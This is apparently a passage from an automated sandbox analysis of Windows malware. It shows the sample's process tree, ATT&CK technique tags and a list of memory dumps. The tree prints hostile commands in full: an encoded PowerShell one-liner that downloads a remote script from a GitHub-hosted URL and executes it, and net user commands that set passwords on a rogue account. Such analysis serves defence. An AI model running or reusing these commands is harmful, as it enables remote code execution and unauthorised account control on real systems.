  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1980
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc thjtNX1g
    3⤵
    PID:2664

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
- Suspicious use of WriteProcessMemory
PID:3344
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:1312

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:868
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3944

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3288
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:372

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3048
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:2240
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1916

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/372-388-0x0000024E19703000-0x0000024E19705000-memory.dmp

Filesize
8KB

Download
memory/372-387-0x0000024E19700000-0x0000024E19702000-memory.dmp

Filesize
8KB

Download
memory/372-391-0x0000024E19706000-0x0000024E19708000-memory.dmp

Filesize
8KB

Download
memory/372-441-0x0000024E19708000-0x0000024E19709000-memory.dmp

Filesize
4KB

Download
memory/984-215-0x00000146B21B0000-0x00000146B21B2000-memory.dmp

Filesize
8KB

Download
memory/984-216-0x00000146B21B3000-0x00000146B21B5000-memory.dmp

Filesize
8KB

Download
memory/984-286-0x00000146B21B8000-0x00000146B21BA000-memory.dmp

Filesize
8KB

Download
memory/984-243-0x00000146B21B6000-0x00000146B21B8000-memory.dmp

Filesize
8KB

Download
memory/1128-173-0x00000267F7DC0000-0x00000267F7DC2000-memory.dmp

Filesize
8KB

Download
memory/1128-214-0x00000267F7DC8000-0x00000267F7DCA000-memory.dmp

Filesize
8KB

Download
memory/1128-177-0x00000267F7DC6000-0x00000267F7DC8000-memory.dmp

Filesize
8KB

Download
memory/1128-174-0x00000267F7DC3000-0x00000267F7DC5000-memory.dmp

Filesize
8KB

Download
memory/1856-289-0x000002A40F9C6000-0x000002A40F9C8000-memory.dmp

Filesize
8KB

Download
memory/1856-288-0x000002A40F9C3000-0x000002A40F9C5000-memory.dmp

Filesize
8KB

Download
memory/1856-287-0x000002A40F9C0000-0x000002A40F9C2000-memory.dmp

Filesize
8KB

Download
memory/2112-115-0x000001D0DC900000-0x000001D0DCCFF000-memory.dmp

Filesize
4.0MB

Download
memory/2112-119-0x000001D0DC4E5000-0x000001D0DC4E6000-memory.dmp

Filesize
4KB

Download
memory/2112-120-0x000001D0DC4E6000-0x000001D0DC4E7000-memory.dmp

Filesize
4KB

Download
memory/2112-118-0x000001D0DC4E3000-0x000001D0DC4E5000-memory.dmp

Filesize
8KB

Download
memory/2112-117-0x000001D0DC4E0000-0x000001D0DC4E2000-memory.dmp

Filesize
8KB

Download
memory/2620-137-0x0000022C61620000-0x0000022C61622000-memory.dmp

Filesize
8KB

Download
memory/2620-154-0x0000022C61628000-0x0000022C61629000-memory.dmp

Filesize
4KB

Download
memory/2620-139-0x0000022C61626000-0x0000022C61628000-memory.dmp

Filesize
8KB

Download
memory/2620-127-0x0000022C61BE0000-0x0000022C61BE1000-memory.dmp

Filesize
4KB

Download
memory/2620-146-0x0000022C61770000-0x0000022C61771000-memory.dmp

Filesize
4KB

Download
memory/2620-138-0x0000022C61623000-0x0000022C61625000-memory.dmp

Filesize
8KB

Download
memory/2620-152-0x0000022C7ACA0000-0x0000022C7ACA1000-memory.dmp

Filesize
4KB

Download
memory/2620-130-0x0000022C7A7A0000-0x0000022C7A7A1000-memory.dmp

Filesize
4KB

Download
memory/2620-153-0x0000022C7B030000-0x0000022C7B031000-memory.dmp

Filesize
4KB

Download